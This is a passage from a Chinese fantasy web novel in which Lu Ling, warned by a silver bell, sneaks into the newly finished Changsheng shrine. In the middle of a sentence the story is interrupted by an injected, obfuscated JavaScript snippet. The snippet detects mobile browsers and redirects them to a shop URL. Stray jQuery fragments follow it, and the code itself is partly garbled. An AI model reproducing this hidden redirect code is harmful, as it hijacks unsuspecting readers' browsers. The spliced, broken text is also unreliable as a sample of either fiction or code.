鹿聆眨了眨眼,瞬间领会了他的意思,脸上露出一个带着点小狡猾的笑容:“我知道了,你想要请君入瓮?”
“请君入瓮?”温照白思索了一下,唇角微扬,“你说得对,请君,入瓮。”
……
鹿聆入宫并不仅仅是为了告诉皇帝那场刺杀是温照白一手安排的,最重要的还是为了未央的谋划,小白说,皇帝是不会允许自己不知道长生祠中的隐秘的。
如今在未央眼中,温照白已经是不需要再顾虑的人,而鹿聆的踪迹应该还不在他们的掌控之中,所以反而方便了他们暗中行动。
长生祠在潘太妃派去的曾女官的监工下,已经进入了封顶的阶段。
天都最炎热的天气将要过去,长生祠也要竣工了。
温照白的身体在鹿聆的精心照料下,基本上也没有什么大碍了,只是对外一直没有表露。
潘太妃,还是未央,将长生祠完工的日子选在了大虞开国的日子。
……
夜深了,国公府书房中的灯还没熄灭。
鹿聆原本陪着温照白翻阅关于未央记载,想要找出突破口,耳畔的那只奉神银铃却突然发出前所未有的反应,既有对危险到来的预警,又是对恶意的提醒,两种声音同时响起,混合成了一种悲怆而强烈的震响。
温照白身上也有一颗银铃,他自然也听到了。
鹿聆与他对视一眼。
“小白……”
“不可以!”温照白的声音斩钉截铁。
“可是……”
皇帝给她的那样东西,他们两个都不陌生,正是鼠神一案中后稷的最后一丝灰色的神力,鹿聆将它凝结成了宝石一样的球挂在了阿妙脖子上。
他们怎么抓住的阿妙已经不重要,鹿聆不能眼睁睁看她陷在未央手中。
“小鹿,就当我自私吧,我再不希望你陷入困境。阿妙的事我一定会想办法,我手下的人已经搜寻到了未央的踪迹,你相信我。”温照白的眼神满是祈求。
……
银铃的响声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16946342|189858||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
,引导鹿聆去向了龙首原的方向。
鹿聆是第一次看见那座已经建筑完毕了的长生祠,华贵,却在夜色中隐隐泛着灰白色,与龙首原焦黑的土地形成鲜明的对比。
鹿聆从进入龙首原开始,戴了一边的银铃的响声就一直没有停过,这是第一次奉神银铃对于非人的事物表示了如此强烈的恶意预警,甚至到了鹿聆实在受不了这声音要摘下放起来的地步。
龙首原上堆了许多建筑长生祠用的砖石材料,鹿聆刻意掩盖了自己留下的痕迹,她顺着划定的长生祠地面位置往里面转,倒是发现了一些因地制宜刻意布置的并不算高级的阵法,有聚灵聚气的功效。
鹿聆轻易就躲开了那些巡查的守卫,从一侧摸进了长生祠里面。
长生祠并不算太大,大概是因为赶工仓促,内部倒不算精细,只是个一进的院子,院中倒是栽种了不少槐树。
这长生祠有